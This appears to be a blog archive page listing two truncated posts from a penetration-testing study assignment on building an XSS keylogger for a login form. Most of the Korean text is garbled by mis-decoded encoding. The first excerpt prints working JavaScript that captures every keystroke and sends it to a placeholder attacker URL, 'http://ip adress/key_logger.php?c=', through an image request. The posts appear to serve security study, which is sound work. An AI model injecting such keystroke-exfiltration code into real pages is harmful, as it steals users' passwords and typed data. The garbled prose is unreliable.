Archive for Dev. (junyup2)

์ง€์‹์„ ์ฑ„์›Œ๊ฐ€๋Š” ใ€Ž๊ฐœ๋ฐœ์ž/ํ™”์ดํŠธํ•ด์ปคใ€๋ฅผ ๋ชฉํ‘œ๋กœ ์ •๋ฆฌํ•˜๋Š” ๋ธ”๋กœ๊ทธ

ํ‚ค๋กœ๊ฑฐ 2

[๊ณผ์ œ] 04์ฃผ์ฐจ (1-1 β) ํ‚ค ๋กœ๊ฑฐ ๊ตฌํ˜„ (๋กœ๊ทธ์ธ ์ฐฝ)

๋ชจ์˜ ํ•ดํ‚น ์Šคํ„ฐ๋”” - 4์ฃผ์ฐจ ๊ณผ์ œ (1-1) ํ‚ค ๋กœ๊ฑฐ ์ถ”๊ฐ€ ๊ตฌํ˜„ ์ฝ”๋“œ ๊ตฌ์„ฑ key_logger.html key_logger.js key_logger.php view.html key_logger.html Login Form Login ๋กœ๊ทธ์ธ ํผ์˜ ํ‚ค๋กœ๊ฑฐ key_logger.js var keys=''; var url = 'http://ip adress/key_logger.php?c='; document.onkeydown = function(e) { var key = e.key; keys+=key; } window.setInterval(function(){ if(keys.length > 0) { var data = encodeURIComponent(keys) new Image().src = url + data..

[๊ณผ์ œ] 04์ฃผ์ฐจ (1-1 α) (XSS)ํ‚ค ๋กœ๊ฑฐ ๊ตฌํ˜„

๋ชจ์˜ ํ•ดํ‚น ์Šคํ„ฐ๋”” - 4์ฃผ์ฐจ ๊ณผ์ œ (1-1) ํ‚ค ๋กœ๊ฑฐ ๊ตฌํ˜„ ํ‚ค ๋กœ๊น…์ด๋ž€? ํ‚ค ๋กœ๊น…(Keylogging, ํ‚ค ์ŠคํŠธ๋กœํฌ ๋กœ๊น…(Keystroke logging) ์‚ฌ์šฉ์ž๊ฐ€ ํ‚ค๋ณด๋“œ๋กœ PC์— ์ž…๋ ฅํ•˜๋Š” ๋‚ด์šฉ์„ ๋ชฐ๋ž˜ ๊ฐ€๋กœ์ฑ„์–ด ๊ธฐ๋กํ•˜๋Š” ํ–‰์œ„ (ํ‚ค๋ณด๋“œ๋กœ ์ž…๋ ฅํ•˜๋Š” ์ •๋ณด๋ฅผ ์ค‘๊ฐ„์— ๊ฐ€๋กœ์ฑ„๊ธฐ ํ•˜์—ฌ ์ •๋ณด๋ฅผ ํ›”์ณ๊ฐ€๋Š” ํ•ดํ‚น ๋„๊ตฌ) ๋‚ด๊ฐ€ ์ž…๋ ฅํ•œ ํ‚ค ๊ฐ’์˜ ๋กœ๊ทธ๋ฅผ ํƒ€์ธ์ด ๋ด„์œผ๋กœ์จ ํ•ดํ‚น ํ”ผํ•ด์— ๋…ธ์ถœ ํ•˜๋“œ์›จ์–ด, ์†Œํ”„ํŠธ์›จ์–ด๋ฅผ ํ™œ์šฉํ•œ ๋ฐฉ๋ฒ•์—์„œ๋ถ€ํ„ฐ ์ „์ž์ , ์Œํ–ฅ๊ธฐ์ˆ ์„ ํ™œ์šฉํ•œ ๊ธฐ๋ฒ•๊นŒ์ง€ ๋‹ค์–‘ํ•œ ํ‚ค๋กœ๊น… ๋ฐฉ๋ฒ•์ด ์กด์žฌ ํ‚ค ๋กœ๊ฑฐ(Key Logger) Key + Log ํ‚ค๋ณด๋“œ์— ์ž…๋ ฅํ•œ ํ‚ค์˜ ํ”์ ์„ ๋‚จ๊ธฐ๋Š” ํ”„๋กœ๊ทธ๋žจ ํ”„๋กœ์„ธ์Šค๋กœ ์‚ฌ์ค‘ํ•˜๋ฉด์„œ ํ‚ค๋ณด๋“œ์— ์ž…๋ ฅ๋œ ๋ชจ๋“  ๊ธฐ๋ก๋“ค์„ .txt ํ˜น์€ ์ง€์ •๋œ ํ™•์žฅ์ž๋กœ ์ €์žฅ๋˜๊ฒŒ ํ•จ ํ‚ค๋ณด๋“œ๋ฅผ ํ†ตํ•ด ์ด๋ค„์ง€๋Š” ๋ชจ๋“  ์ •๋ณด๊ฐ€ ๋…ธ์ถœ๋˜๊ณ  ์žˆ๋Š” ๊ฒƒ ..